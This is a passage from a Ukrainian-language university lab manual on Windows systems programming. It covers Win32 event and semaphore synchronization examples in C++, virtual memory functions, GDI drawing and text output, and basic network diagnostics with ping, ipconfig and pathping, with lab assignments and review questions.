HANDLE hShow = CreateEvent(NULL,FALSE,FALSE,SHOW);
24
// Очікуємо поки клієнт не переведе подію Start в сигнальний стан,
// Тим самим підтвердить свою готовність до роботи
printf("Wait...");
WaitForSingleObject(hStart,INFINITE);
printf("\n");
// Відкриваємо події створені клієнтом для синхронізації
// Press - кнопку натиснуто, потрібно вивести '*'
// Work - поки ця подія в сигнальному стані
// Клієнт знаходиться на зв'язку, інакше - завершуємо роботу
HANDLE hPress = OpenEvent(EVENT_ALL_ACCESS,TRUE,PRESS);
HANDLE hWork = OpenEvent(EVENT_ALL_ACCESS,TRUE,WORK);
// Поки клієнт на зв'язку,
// Тобто подія Work знаходиться в сигнальному стані
while (WaitForSingleObject(hWork,0)==WAIT_OBJECT_0)
{
// Очікуємо натискання кнопки, від клієнта
WaitForSingleObject(hPress,INFINITE);
printf("*");
// Говоримо, що вивели зірочку на екран
SetEvent(hShow);
}
printf("\nExit\n");
// Закриваємо відкриті події
CloseHandle(hStart);
CloseHandle(hPress);
CloseHandle(hShow);
CloseHandle(hWork);
return 0;
}
3.1.4. Семафори
Визначення. Семафор - невід'ємна ціла змінна, значення якої
може змінюватися тільки за допомогою неподільних операцій.
Приклад 5. Використання бінарного семафора для
моделювання критичних секцій і подій.
semaphor s = 1; // Семафор вільний
void thread_1( ) void thread_2( )
{{
...
...
...
P(s); P(s);
if (n%2 == 0) n++;
25
n = a; V(s);
else
n = b;
V(s);
... }
...
...
}
Як випливає з визначення операцій над семафором, даний
підхід вирішує проблему взаємного виключення одночасного доступу
до змінної n для потоків thread_1 і thread_2. Таким чином, бінарний
семафор дозволяє вирішити проблему взаємного виключення.
Тепер припустимо, що потік thread_1 повинен виконувати
перевірку значення змінної n тільки після того, як потік thread_2
збільшить значення цієї змінної. Для вирішення цього завдання
модифікуємо наші програми в такий спосіб:
semaphor s = 0; // семафор зайнятий
void thread_1( ) void thread_2( )
{{
...
...
...
P(s); n++;
if (n%2 == 0) V(s);
n = a;
else .
n = b;
... }
...
...
}
Як видно з цих програм, бінарний семафор дозволяє також
вирішити завдання умовної синхронізації.
3.1.5. Семафори в Windows
Семафори в операційних системах Windows описуються
об'єктами ядра Semaphores. Семафор може перебувати в двох станах:
сигнальному (якщо його значення більше нуля) і несигнальному (якщо
його значення менше або дорівнює нулю). Створюються семафори за
26
допомогою виклику функції CreateSemaphore, яка має наступний
прототип:
HANDLE CreateSemaphore(
LPSECURITY_ATTRIBUTES lpSemaphoreAttribute,
// Атрибути захисту
LONG lInitialCount, // початкове значення семафора
LONG lMaximumCount, // максимальне значення семафора
LPCTSTR lpName // ім’я семафора
);
Приклад 6. Вважається, що семафор використовується для
синхронізації роботи потоків. Для цього спочатку розглянемо
несинхронізованих варіант цієї програми.
Програма 6.1.
// Несинхронізовані потоки
#include <windows.h>
#include <iostream>
using namespace std;
volatile int a[10];
DWORD WINAPI thread(LPVOID)
{
int i;
for (i = 0; i < 10; i++)
{
a[i] = i + 1;
Sleep(17);
}
return 0;
}
int main()
{
int i;
HANDLE hThread;
DWORD IDThread;
cout << "An initial state of the array: ";
for (i = 0; i < 10; i++)
cout << a[i] <<' ';
cout << endl;
// Створюємо потік, який готує елементи масиву
hThread = CreateThread(NULL, 0, thread, NULL, 0, &IDThread);
if (hThread == NULL)
return GetLastError();
// Потік main виводить елементи масиву
27
cout << "A modified state of the array: ";
for (i = 0; i < 10; i++)
{
cout << a[i] << ' ';
cout.flush();
Sleep(17);
}
cout << endl;
CloseHandle(hThread);
return 0;
}
Тепер коротко опишемо роботу цієї програми. Потік thread
послідовно привласнює елементам масиву «a» значення, які на
одиницю більші, ніж їх індекс.
Потік main послідовно виводить елементи масиву «a» на
консоль. Так як потоки thread і main не синхронізовані, то невідомо,
який стан масиву на консоль потік main. Наше завдання полягає в
тому, щоб потік main виводив на консоль елементи масиву «a» відразу
після їх підготовки потоком thread. Для цього ми використовуємо
рахуючий семафор. Наступна програма показує, як цей рахуючий
семафор використовується для синхронізації роботи потоків.
Програма 6.2.
// Приклад синхронізації потоків з використанням семафора
#include <windows.h>
#include <iostream>
using namespace std;
volatile int a[10];
HANDLE hSemaphore;
DWORD WINAPI thread(LPVOID)
{
int i;
for (i = 0; i < 10; i++)
{
a[i] = i + 1;
// Відзначаємо, що один елемент готовий
ReleaseSemaphore(hSemaphore,1,NULL);
Sleep(500);
}
return 0;
}
int main()
{
28
int i;
HANDLE hThread;
DWORD IDThread;
cout << "An initial state of the array: ";
for (i = 0; i < 10; i++)
cout << a[i] <<' ';
cout << endl;
// створюєм семафор
hSemaphore=CreateSemaphore(NULL, 0, 10, NULL);
if (hSemaphore == NULL)
return GetLastError();
// Створюємо потік, який готує елементи масиву
hThread = CreateThread(NULL, 0, thread, NULL, 0, &IDThread);
if (hThread == NULL)
return GetLastError();
// Потік main виводить елементи масиву
// Тільки після їх підготовки потоком thread
cout << "A final state of the array: ";
for (i = 0; i < 10; i++)
{
WaitForSingleObject(hSemaphore, INFINITE);
cout << a[i] << ' ';
cout.flush();
}
cout << endl;
CloseHandle(hSemaphore);
CloseHandle(hThread);
return 0;
}
Завдання на лабораторну роботу
1. Використовуйте семафори для синхронізації потоків одного
процесу.
2. Проаналізуйте можливість використання семафорів для
синхронізації роботи потоків в програмі.
Таблиця 3.1 – Варіанти завдань
№
Варіанту
Індивідуальне завдання
1
Написати програми для консольного процесу Boss
(Резидент) і консольних процесів Scout (Шпигун). Для
моделювання передачі повідомлень ввести спеціальні
події, які позначають «точку» і «тире», кінець сеансу.
Процес Boss:
 запитує у користувача кількість процесів Scout, які він
29
2
3
повинен запустити;
 запускає задану кількість процесів Scout;
 приймає від кожного процесу Scout повідомлення і
виводить його на консоль в одному рядку. Приймати
повідомлення може тільки від одного процесу, передача
інших повідомлень від інших процесів повинна
блокуватися з допомогою мьютекса;
 завершує свою роботу.
 Процес Scout:
 запитує з консолі символи: «-», «.» (Подія «тире», подія
«точка») і передає відповідні події процесу Boss;
 завершує свою роботу, коли буде введений символ, що
позначає кінець введення повідомлень.
Написати програми для консольного процесу Boss
(Резидент) і консольних процесів Scout (Шпигун). Для
моделювання передачі повідомлень ввести спеціальні
події, які позначають «1», «2» і кінець сеансу для
процесів Scout
Процес Boss:
 запитує у користувача кількість процесів Scout, які він
повинен запустити;
 запускає задану кількість процесів Scout;
 приймає від кожного процесу Scout повідомлення і
виводить його на консоль в одному рядку. Приймати
повідомлення може тільки від двох процесів, передача
інших повідомлень від інших процесів повинна
блокуватися з допомогою м'ютексів;
 завершує свою роботу
Процес Scout:
 запитує з консолі повідомлення, що складається з «1»,
«2», і передає їх (по одному) процесу Boss;
 завершує свою роботу
Написати програми для консольного процесу Boss
(Резидент) і консольних процесів Scout (Шпигун). Для
моделювання передачі повідомлень ввести спеціальні
події, які позначають будь-які 4 цифри.
Процес Boss:
 запитує у користувача кількість процесів Scout, які він
повинен запустити;
 запитує у користувача пароль (3 цифри);
30
4
5
 запускає задану кількість процесів Scout;
 приймає від кожного процесу Scout повідомлення і
виводить його на консоль в одному рядку. Приймати
повідомлення може тільки від трьох процесів, передача
інших повідомлень від інших процесів повинна
блокуватися;
 якщо приходить повідомлення, з цифрою не з пароля, то
виводить на консоль текст «помилка»;
 завершує свою роботу.
Процес Scout:
 запитує з консолі повідомлення, що складається з цифр,
і передає їх (по одному) процесу Boss;
 завершує свою роботу.
Написати програми для консольного процесу Boss і
консольних процесів Employee. Для моделювання
передачі повідомлень ввести спеціальні події, які «0»,
«1», «2», «3» і кінець сеансу для процесів Employee.
Процес Boss:
 запитує у користувача кількість процесів Employee,
котрі він повинен запустити;
 запускає задану кількість процесів Employee;
 приймає від кожного процесу Employee повідомлення і
виводить його на консоль в одному рядку. Приймати
повідомлення може тільки від трьох процесів, передача
інших повідомлень від інших процесів повинна
блокуватися з допомогою м'ютексів;
 завершує свою роботу.
Процес Employee:
 запитує з консолі повідомлення, що складаються з «0»,
«1», «2», «3», кінець сеансу роботи і передає (по одному)
його процесу Boss;
 завершує свою роботу.
Написати програми для консольного процесу
Administrator і процесів Writer. Для моделювання
передачі повідомлень ввести спеціальні події, які
позначають повідомлення «A», повідомлення «B» і кінець
сеансу для процесу Writer.
Одночасно приймати і відправляти повідомлення може
тільки один процес Writer, передача інших повідомлень
від інших процесів повинна блокуватися з допомогою
31
6
м'ютексів;
Процес Administrator:
 запитує у користувача кількість процесів Writer, котоякі він повинен запустити;
 запускає задану кількість процесів Writer;
 приймає повідомлення від процесу Writer;
 виводить на консоль повідомлення;
 приймає від кожного процесу Writer повідомлення про
завершення сеансу і виводить його на консоль в одному
рядку;
 завершує свою роботу.
Процес Writer:
 запитує з консолі повідомлення, і передає їх (по
одному) процесу Administrator;
 передає повідомлення про завершення сеансу процесу
Administrator;
 завершує свою роботу.
Написати програми для консольного процесу
Administrator і процесів Writer. Для моделювання
передачі повідомлень ввести спеціальні події, які
позначають повідомлення «+», повідомлення «-«, і кінець
сеансу для процесу Writer.
Одночасно приймати і відправляти повідомлення може
тільки один процес Writer, передача інших повідомлень
від інших процесів повинна блокуватися з допомогою
м'ютексів;
Процес Administrator:
 запитує у користувача кількість процесів Writer, які він
повинен запустити;
 запускає задану кількість процесів Writer;
 приймає повідомлення від процесу Writer;
 виводить на консоль повідомлення;
 приймає від кожного процесу Writer повідомлення про
завершення сеансу і виводить його на консоль в одному
рядку;
 завершує свою роботу.
Процес Writer:
 запитує з консолі повідомлення, і передає їх (по
одному) процесу Administrator;
 передає повідомлення про завершення сеансу процесу
32
Administrator;
 завершує свою роботу.
Контрольні питання
1. Дайте визначення семафора.
2. Наведіть класифікацію семафорів.
3. Дайте визначення м’ютекса.
4.
Що
являє
собою
параметр
LPSECURITY_ATTRIBUTES?
5. Які параметри мають семафори в Windows?
м’ютекса
Література: [2; 4; 5]
Лабораторна робота № 4
УПРАВЛІННЯ ПАМ'ЯТТЮ В WINDOWS
Мета роботи: навчитися використовувати функції Win API,
призначені для синхронізації процесів і потоків в Windows
4.1. Короткі теоретичні відомості
4.1.1. Модель віртуальної пам'яті Windows
Кожен процес в Windows отримує фіксований (за розміром)
віртуальний адресний простір, який багато більше, ніж обсяг
первинної пам'яті (RAM) в сучасних комп'ютерах. Зазвичай exe файл програм набагато менший, ніж адресний простір.
Два етапи динамічного додавання адрес до адресного
простору процесу:
резервування порції адресного простору (регіону);
передача блока сторінок (регіону) в адресний простір.
4.1.2. Функції віртуальної пам’яті
33
Win32 API надає кілька функцій для роботи з віртуальною
пам'яттю. GetSystemInfo, GlobalMemoryStatus
і
VirtualQuery
використовуються для визначення стану віртуальної пам'яті процесу.
VOID GetSystemInfo(
LPSYSTEM_INFO lpSystemInfo
);
typedef struct_SYSTEM_INFO {
DWORD dwOemld;
DWORD dwPageSize;
LPVOID lpMinimumApplicationAddress;
LPVOID lpMaximumApplicationAddress;
DWORD dwActiveProcessorMask;
DWORD dwNumberOfProcessors;
DWORD dwProcessorType;
DWORD dwAllocationGranularity;
DWORD dwReserved;
} SYSTEM_INFO,*LPSYSTEM_INFO;
Функція GetSystemInfo заповнює lpSystemInfo, щоб
проінформувати про різні установках віртуальної пам'яті.
dwPageSize - розмір сторінки, lpMinimumApplicationAddress нижня адреса, яку можна використовувати без помилок пам'яті.
lpMaximumApplication Address - старший адреса, який може
використовувати додаток.
Функція GlobalMemoryStatus (LPMEMORYSTATUS lpBuffer)
повертає більш детальну інформацію про віртуальної пам'яті в
структурі MEMORYSTATUS.
typedef struct_MEMORYSTATUS {
DWORD dwLength;
DWORD dwMemoryLoad;
DWORD dwTotalPhys;
DWORD dwAvailPhys;
DWORD dwTotalPageFile;
DWORD dwAvailPageFile;
DWORD dwTotalVirtual;
DWORD dwAvailVirtual;
} MEMORYSTATUS, *LPMEMORYSTATUS;
dwMemoryLoad параметр - це значення між 0 і 100, яке
відображає відносну утилізацію фізичної пам'яті.
34
dwTotalPhys
загальний
обсяг
фізичної
пам'яті,
конфігурований в машині.
dwAvailPhys - той обсяг фізичної пам'яті, який не задіяний
робочими наборами - доступний для використання.
dw Total Page File - загальне число байт, які можна зберігати в
файлі сторінок.
dwAvail PageFile - число байт, які доступні в файлі сторінок.
dwTotalVirtual - розмір призначеної для користувача частини
всього адресного простору
dwAvailVirtual - число доступних адрес.
Остання функція для визначення стану віртуальної пам'яті
VirtualQuery.
VirtualQuery.
DWORD VirtualQuery(
LPCVOID lpAddress,
PMEMORY_BASIC_INFORMATION lpBuffer,
DWORD dwLength
);
lpAddress - це адреса-арбітр в адресному просторі, перед
використанням він встановлюється з урахуванням нижньої межі
сторінки. Відповідні сторінки належать до набору сторінок в блоці, і
всі матимуть однакові властивості, задані під час передачі.
Виклик VirtualQuery з будь-якою адресою в блоці буде
повертати
однакову
інформацію
в
структурі
MEMORY_BASIC_INFORMATION для кожної адреси в блоці.
typedef struct_MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
DWORD RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
}MEMORY_BASIC_INFORMATION,
*PMEMORY_BASIC_INFORMATION;
35
BaseAddress адреса першої сторінки в блоці, а AllocationBase
адреса, де починається регіон. Поле AllocationProtect задає дозволений
доступ до сторінок в блоці (тільки для читання, для читання і запису,
для виконання і т.д.). RegionSize - число байтів в блоці (блок сторінок,
що входять в регіон). Поле стану може набувати значень:
MEM_COMMIT, MEM_RESERVE або MEM_FREE. Protect визначає
тип захисту сторінок в блоці. Type визначає тип сторінок, які будуть
зберігатися
в
регіоні
(MEM_IMAGE,
MEM_MAPPED,
MEM_PRIVATE).
Розширена версія VirtualQuery дозволяє потоку запросити
блок віртуальної пам'яті в іншого процесу.
DWORD VirtualQueryEx(
HANDLE hProcess,
LPCVOID lpAddress,
PMEMORY_BASIC_INFORMATION lpBuffer,
DWORD dwLength
);
Описувач (Handle) викликаючого потоку повинен мати доступ
PROCESS_QUERY_INFORMATION до віддаленого процесу.
Функції VirtualAlloc і VirtualFree використовуються для
динамічного резервування, передачі і звільнення пам'яті.
LPVOID VirtualAlloc(
LPVOID lpAddress,
DWORD dwSize,
DWORD flAllocationType,
DWORD dwProtect
);
VirtualAlloc використовується і для резервування і для
передачі (необхідної пам'ятати, що межа регіону визначається
одиницями виділення пам'яті системою, а межа блоку визначається
межами сторінки).
Завдання на лабораторну роботу
1. Зарезервуйте регіон, що складається з певної кількості
сторінок, а потім здійснюйте передачу по одній сторінці
використовуючи функцію VirtualAlloc.
36
2. Використовуйте обробку винятків при доступі до сторінки.
Якщо виникає помилка сторінки, то потрібно передати наступну
сторінку з зарезервованого регіону.
3. Створіть процес з двома потоками:
 першим потоком для симуляції роботи з віртуальною
пам'яттю;
 другим потоком для моніторингу того, що буде відбуватися з
пам’яттю в результаті роботи першого потоку.
Ваш потік - симулятор буде читати файл, який містить по
одному запису для кожної операції з віртуальною пам'яттю в
наступному форматі:
– Час (час в мілісекундах від початку старту процесу) - у цей час
необхідно виконати задану операцію;
– Регіон / Блок (номер регіону при резервуванні або номер блоку
при передачі, тобто в залежності від операції);
– Операція - це поле може набувати таких значень:
o 1 - зарезервувати регіон;
o 2 - передати блок;
o 3 - не зберігати блок в сторінковому файлі при його зміні;
o 4 - звільнити регіон;
o 5 - повернути блок;
o 6 - блокувати блок;
o 7 - зняти блокування;
– Розмір (розмір регіону / блоку в байтах);
– Доступ - це поле може набувати таких значень:
o PAGE_READONLY;
o PAGE_READWRITE;
o PAGE_EXECUTE;
o PAGE_EXECUTE_READ;
o PAGE_EXECUTE_READWRITE.
Коли симулятор читає запис, він викликає відповідну функцію
віртуальної пам'яті, використовуючи задані параметри. Створений
потік - монітор повинен спати певний час, прокидатися і перевіряти
стан віртуальної пам'яті. Він повинен записувати стан пам'яті кожного
разу при перевірці. Сформуйте звіт з наступною інформацією:
 розмір сторінки;
37




гранулярність;
стан фізичної пам'яті (Physical Memory);
стан віртуальної пам'яті (Virtual Memory);
стан сторінкового файлу (Page file).
Подивіться, як інформація про використання пам'яті
відображається в Task Manager і в Process Viewer (pview.exe).
Контрольні питання
1. Дайте визначення поняття «віртуальна пам'ять».
2. Наведіть модель віртуальної пам'яті в Windows.
3. Назвіть основні функції віртуальної пам'яті в Windows.
Література: [4; 5]
Лабораторна робота № 5
КЕРУВАННЯ ВИВОДОМ
ГРАФІЧНОЇ І ТЕКСТОВОЇ ІНФОРМАЦІЇ
НА ОСНОВІ БІБЛІОТЕК GDL
мета роботи: вивчити основи управління виводом текстової та
графічної інформації на базі бібліотеки GDL.
5.1. теоретичні відомості
5.1.1. Графічний пристрій і його контекст
Взаємодія додатків з GDL здійснюється при неодмінному
участі посередника - так званого контексту пристрою.
Визначення. Контекст пристрою (device context) - це
внутрішня структура даних, яка визначає набір графічних об'єктів і
асоційованих з ними атрибутів, а також графічних режимів, що
впливають на виведення
Контекст пристрою містить багато атрибутів, що визначають
поведінку функцій GDL. Якщо необхідно малювати на пристрої
графічного виведу (екран дисплея або принтер), то спочатку потрібно
отримати дескриптор контексту пристрою.
38
Повертаючи цей дескриптор після виклику відповідних
функцій, Windows тим самим надає розробнику право на використання
даного пристрою. Після цього дескриптор контексту пристрою
передається як параметр у функції GDL, щоб ідентифікувати пристрій,
на якому повинно виконуватися малювання.
Для створення і звільнення контексту застосовуються пари
функцій: BeginPaint і EndPaint або GetDC і ReleaseDC. Для перших
двох функцій потрібно дескриптор вікна (передається в віконну
процедуру як параметри) і адреса змінної типу структури
PAINTSTRUCT, що визначається в віконній процедурі.
Виклик BeginPaint заповнює поля цієї структури, а також
повертає дескриптор контексту робочої області вікна, який повинен
запам'ятовуватися в змінній типу HDC. Виклик функції EndPaint
звільняє дескриптор контексту робочої області вікна. Метод
використовується при обробці повідомлення WM_PAINT.
Якщо контекст був отриманий за допомогою функції GetDC,
то після завершення процедури малювання перед виходом з обробника
повідомлень слід звільнити отриманий контекст, викликавши функцію
ReleaseDC. Цю пару функцій можна використовувати при обробці
інших, не WM_PAINT повідомлень.
5.1.2. Атрибути системи координат, їх вплив на висновок
інформації
Система координат для вікна базується на системі координат
дисплея. Основною одиницею виміру служить піксель. Точки на
екрані задаються парою координат (х, у). При цьому х-координати
зростають зліва направо, а y-координати - зверху вниз. Напрямок осей
системи координат залежить від режиму відображення.
Режим відображення контексту пристрою вибирається такою
функцією:
SetMapMode(hdc,MM_HIMETRIC);
Замість MM_HIMETRIC можна задати наступні режими
відображення, наведені в табл. 5.1.
Таблиця 5.1 – Режими відображення
Режим
Напрямок
по Напрямок
39
по Логічна
відображення
ММ_ТЕХТ
MM_LOMETRIC
MMJHIMETRIC
MMJ.OENGLISH
MM_HIENGLISH
MM_TWIPS
MM_ISOTROPIC
осі x
Вправо
Вправо
Вправо
Вправо
Вправо
Вправо
Будь-який
осі у
Вниз
Вверх
Вверх
Вверх
Вверх
Вверх
Будь-який
одиниця
Піксель
0,1 мм
0,01 мм
0,01 дюйма
0,001 дюйма
1 / 1440 дюйма
Довільні
одиниці
Будь-який (х = Довільні
= y)
одиниці (х! = y)
MM_ANISOTROPIC Будь-який
Якщо функція SetMapMode не викликлась, то за
замовчуванням використовується режим відображення ММ_ТЕХТ.
5.1.3. Шрифти, класифікація, параметри шрифту,
установка в контекст пристрою
Шрифти GDI поділяються на три типи:
- Растрові шрифти;
- Векторні шрифти;
- Шрифти типу TrueType.
Основними параметрами шрифтів є висота, ширина, нахил
шрифту, товщина шрифту і його тип.
Створити шрифт можна функцією CreateFontInderect:
LOGFONT Font;
Font.lfHeight = 500;//висота букви
Font.lfWidth = 0;//ширина букви
// (0-за замовчуванням підходящий по маштабу)
Font.lfEscapement =3600-atan(y/x)*1800/3.14;
//кут нахилу
Font.lfOrientation=3600-atan(y/x)*1800/3.14;
//atan(y/x)*10;
Font.lfWeight = 500; //товщина шрифту 500 =FW_MEDIUM
Font.lfItalic = TRUE; //курсив
Font.lfUnderline = FALSE;
Font.lfStrikeOut = FALSE;
//визначає кодування шрифту
Font.lfCharSet = DEFAULT_CHARSET;
//тип і сімейство шрифту
40
Font.lfPitchAndFamily = DEFAULT_PITCH;
Font.lfClipPrecision = CLIP_LH_ANGLES;
hFont = CreateFontIndirect(&Font);
Для установки шрифту в контекст пристрою використовується
функція:
HFONT hOldFont = (HFONT) SelectObject (hdc, hFont);
де hdc - це контекст пристрою, hFont - описувач створеного
шрифту.
5.1.4. Атрибути контексту пристрою, що впливають на висновок
тексту
На виведення тексту можуть вплинути такі параметри
контексту як режим відображення, колір тексту, колір фону, на якому
малюється колір.
Колір тексту встановлюється за допомогою функції:
SetTextColor (hdc, color);
де hdc - контекст пристрою, color - колір символів.
Для установки фону тексту використовується функція
SetBkColor (hdc, RGB (255,0,0));
5.1.5. Методи GDI для виведення тексту і векторної графіки
GDI підтримує безліч об'єктів малювання: пера, кисті,
шрифти, палітри, растрові зображення.
Пера використовуються для малювання ліній, кривих і
контурів інших фігур.
Створити перо можна функцією
hPen = CreatePen (PS_SOLID, 3, RGB (0,200,0)),
де перший параметр PS_SOLID вказує на стиль ліній суцільний, другий параметр вказує на товщину лінії, третій параметр
вказує на колір лінії.
Для створення кисті використовується функція:
hBrush = CreateSolidBrush (RGB (255,0,0));
Для того, щоб додати створений нами об'єкт в контекст
необхідно застосувати функцію:
hOldPen = (HPEN) SelectObject (hdc1, hPen);
41
Після створення і вибору об'єкта для малювання можуть
використовуватися такі функції:
// Еліпс
BOOL Ellipse(HDC hdc, int nLeftRect, int nTopRect, int
nRightRect, int nBottomRec);
// Відрізок
BOOL LineTo(HDC hdc, int nXEnd, int nYEnd,);
// Серія відрізків
BOOL Polyline(HDC hdc, CONST POINT *lppt, int cPoints);
Для того, щоб використовувати коректно функцію LineTo,
необхідно встановити поточну точку в потрібні нам координати, тобто
те місце, звідки ми хочемо намалювати лінію. Для цього є відповідна
функція MoveToEx, яка поміщає поточну точку в потрібні нам
координати:
MoveToEx(hdc,ThirdCoord.x,ThirdCoord.y,NULL);
LineTo(hdc,FirstCoord.x,FirstCoord.y);
Ellipse(hdc,ThirdEllipse.x,ThirdEllipse.y,ThirdEllipse.x1
,ThirdEllipse.y1);
Для перегляду тексту можна використовувати наступні
функції:
BOOL TextOut (
HDC hdc, // дескриптор контексту пристрою
int nXStart. // х-координата стартової позиції
int nYStart. // у-координата стартової позиції
LPCTSTR lpString, // вказівник на символьну строчку
int cbString // кількість символів в строчці
);
Функція забезпечує вивід рядка з адресою lpString,
розміщуючи текст в заданій позиції з урахуванням поточного режиму
вирівнювання. При виведенні використовуються поточні значення
атрибутів контексту пристрою - шрифт, колір тексту і колір фону
графічних елементів.
TextOut (hdc1, ThirdCoord.x +150, ThirdCoord.y +600, STR,
wcslen (STR));
Завдання на лабораторну роботу
1. Намалюйте геометричну фігуру в заданій області.
42
2. Здійсніть вивід тексту в заданій області (по контуру фігури)
відповідно до індивідуального завдання (табл. 5.2), виданого
викладачем.
Таблиця 5.2 – Варіанти завдань
№
Опис завдання
Варіанту
На екрані по трьох точках (координати курсору миші при
1
натисканні) рисується трикутник. Його розміри повинні
змінюватися при перетягуванні одного з його кутів мишею.
На екрані по двох точках (координати курсору миші при
натисканні) рисується прямокутник. Його розміри повинні
2
змінюватися при перетягуванні правого нижнього кута
мишею.
На екрані намалювати олівець. Після кліку миші змінити
3
колір стержня.
На екрані намалювати n прямокутників. Кожен з них має
4
свою висоту (h1, h2, h3 і т.д.) і своє штрихування.
На екрані зобразити кругову діаграму за значеннями Т1, Т2,
5
Т3, Т4, що вводяться з клавіатури.
На екрані зобразити графік функції y = x ^ 2 + 2. Зробити
6
підписи осей. На вісь Ox опустити перпендикуляри з даного
графіка.
Написати гру хрестики-нулики. Після клацання правою
7
кнопкою миші повинен з'являтися нулик, лівою - хрестик.
Контрольні питання
1. Дайте визначення графічного пристрою і його контексту.
2. Що таке атрибути системи координат? Який їхній вплив на
вивід інформації?
3. Назвіть типи шрифтів, приведіть їх класифікацію, параметри,
установку в контекст пристрою.
4. Дайте визначення атрибутів контексту пристрою, що впливають
на висновок тексту.
5. Перерахуйте методи GDI для виведення тексту і векторної
графіки.
Література: [2; 6]
43
Лабораторна робота № 6
ДІАГНОСТИКА IP-Протоколу
Мета
роботи:
навчитися
перевіряти
працездатність
мережевого підключення, а також проводити діагностику IP-протоколу
локальної мережі.
6.1. Короткі теоретичні відомості
6.1.1. Системна команда PING
Існує кілька способів перевірки працездатності мережевого
підключення: за допомогою системних команд або за допомогою
утиліт.
Системна команда PING є найбільш швидким способом
перевірки працездатності локальної мережі. Вона посилає мережевий
запит на задану IP-адресу комп'ютера, отримує відповідь і виводить
звіт на екран. Якщо посланий запит отримано назад - зв'язок фізично
існує, то мережа налаштована і працює коректно. Якщо ж на екрані
з'явиться напис «Превышен интервал ожидания запроса» - значить
допущена помилка або в налаштуваннях, або в підключенні
комп'ютерів. Перед запуском команди PING необхідно подивитися
доступні комп'ютери в мережі (Папка Комп'ютер> Мережа).
Для того щоб скористатись командою PING, відкрийте вікно
командного рядка командою для Windows 7: Пуск> Всі програми>
Службові> командний рядок (або комбінаціїю клавіш Win+R) і введіть
там команду PING, вкажіть ім'я (ІМ'Я "/>) або IP-адресу віддаленого
комп'ютера. За замовчуванням утиліта PING відправляє 4 пакети (один
пакет 32 байта) і очікує кожну відповідь протягом чотирьох секунд.
44
Рисунок 6.1 – Використання утиліти ping
Команда PING має наступні параметри:
– t - проводиться перевірка зв'язку із зазначеним вузлом до
припинена-ня вручну;
– n - визначає кількість відправлених Echo-запитів;
– f - встановлює біт «Не фрагментувати» на ping-пакеті. За
замовчуванням фрагментація дозволяється;
– w - дозволяє налаштувати тайм-аут для кожного пакета в
міллісекун-дах (за замовчуванням встановлено значення 4000
"/>);
– l - вказує розмір буфера відправки;
– v - задає тип служби для IPv4 і не впливає на поле TOS в IPзаголовку;
– r - записує маршрут для зазначеного числа стрибків;
– s - зазначає час для зазначеного числа стрибків;
– j - вказує вільний вибір маршруту по списку вузлів;
– k - визначає жорсткий вибір маршруту по списку вузлів;
– R - використовує заголовок для перевірки також і зворотного
маршруту тільки для IPv6;
– S - вказує використовуваний адреса джерела;
– 4 - визначає примусове використання протоколу IP версії 4;
– 6 - визначає примусове використання протоколу IP версії 6.
Крім того, команду PING можна використовувати для аналізу
якості зв'язку ПК в мережі.
45
Рисунок 6.2 – Тестування якості зв’язку
Для тестування якості зв'язку необхідно запустити PING з
наступними параметрами: ping.exe -l 16384 -w 500 -n 100
192.168.73.133. Це забезпечить відправку 100 запитів n пакетами по 16
кілобайт - l на заданий IP-адреса з інтервалом очікування відповіді в
0,5 секунди w. Необхідно дочекатись, поки пройдуть всі 100 пакетів.
В результаті виконання команди ми отримаємо:% втрат (0% мережа працює відмінно, не більше 3%, то мережа працює добре, від
3-10% дійшли не всі пакети, мережа працює задовільно, від 10-15%
якість зв’язку ПК незадовільна); час відгуку віддаленої системи
(середній - 2 мс, а максимальний - 17 мс).
6.1.2. Системна команда IPCONFIG
Команда IPCONFIG використовується для відображення
поточних налаштувань протоколу TCP / IP і для оновлення деяких
параметрів, що задаються при автоматичній конфігурації мережевих
інтерфейсів при використанні протоколу DHCP. Команда IPCONFIG
виконується аналогічно, як і команда PING.
Після виконання команди IPCONFIG отримуємо наступний
звіт:
46
Рисунок 6.3 – Звіт IPCONFIG
–
DNS-суфікс підключення - localdomain (з налаштувань
мережевого підключення);
– Локальний IPv6-адреса каналу - локальна IPv6 адреса, якщо
використовується адресація IPv6;
– IPv4-адреса - використовуєма для даного адаптера IPv4-адреса;
– Маска підмережі - 255.255.225.0;
– Основний шлюз IP-адреса маршрутизатора, що використовується
в якості шлюзу.
Команда IPCONFIG має наступні ключі:
/ all - відображення повної інформації по всіх адаптерах;
/ release [адаптер] - відправка повідомлення DHCPRELEASE
сервера DHCP для звільнення поточної конфігурації DHCP і видалення
конфігурації IP-адрес для всіх адаптерів (якщо адаптер не заданий) або
для заданого адаптера. Цей ключ відключає протокол TCP / IP для
адаптерів, настроєних для автоматичного отримання IP-адрес;
/ renew [адаптер] - оновлення IP-адреси для певного адаптера
або якщо адаптер не заданий, то для всіх. Доступно тільки при
налаштованому автоматичному отриманні IP-адрес;
/ flushdns - очищення DNS кеша;
/ registerdns - оновлення всіх зарезервованих адрес DHCP і
перереєстрація імен DNS;
47
/ displaydns - відображення вмісту кеша DNS;
/ showclassid - відображення коду класу DHCP для зазначеного
адаптера. Доступно тільки при налаштованому автоматичному
отриманні IP-адрес;
/ setclassid адаптер [код_класа] - зміна коду класу DHCP.
Доступно тільки при налаштованому автоматичному отриманням IPадрес;
/? - Довідка. TCP / IP: значення IP-адреси, маски і шлюзу.
6.1.3. Системна команда Net view
Якщо в командному рядку ввести команду Net view, то
результатом буде список комп'ютерів своєї робочої групи.
Рисунок 6.4 – Використання Net view
6.1.4. Утиліта PathPing
PathPing - це утиліта, яка дозволяє виявити втрати пакетів на
маршруті між комп'ютером і заданою адресою IP. Утиліта PathPing
показує ступінь втрати пакетів на кожному маршрутизаторі або вузлі з
її допомогою можна точно визначити маршрутизатори та вузли, на
яких виникають мережеві проблеми.
Після використання утиліти PathPing отримують звіт, що
складається з двох блоків. Перший блок інформації являє собою
трасування, яке можна пропустити. У другому блоці знаходиться
48
інформація:% втрат пакетів (0% якщо пакети не втрачені, вище 1%,
починаючи з першого кроку, вказують на НЕ-коректну роботу вузлів
мережі.
З утилітою PathPing можна використовувати такі параметри:
g - визначає використання параметра вільної маршрутизації в
IP-заголовку з набором проміжних місць призначення для повідомлень
з Echo-запитом, який вказується в списку комп'ютерів;
h - задає максимальну кількість переходів на шляху при
пошуку кінцевого об'єкта;
i - вказує IP-адресу джерела;
n - запобігає спробам зіставлення IP-адрес проміжний-них
маршрутизаторів з їх іменами;
